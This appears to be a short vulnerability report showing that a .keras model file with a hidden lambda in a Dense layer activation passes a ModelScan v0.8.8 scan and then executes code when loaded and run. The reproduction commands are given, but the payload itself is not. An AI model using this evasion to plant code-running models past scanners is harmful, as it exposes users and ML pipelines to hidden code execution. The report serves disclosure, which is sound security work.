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ModelScan Bypass — Hidden Lambda in Keras Dense Layer Activation

Summary

Proof-of-concept .keras model file that achieves arbitrary code execution while evading ModelScan v0.8.8 detection entirely.

Reproduction

pip install keras tensorflow modelscan

# Step 1: Scan (reports clean)
modelscan scan --path model.keras

# Step 2: Load and run (executes code)
python3 -c "
import keras, numpy as np
keras.config.enable_unsafe_deserialization()
model = keras.models.load_model('model.keras')
model.predict(np.zeros((1,5)))
"

Files

model.keras — Malicious .keras file with hidden __lambda__ in Dense activation

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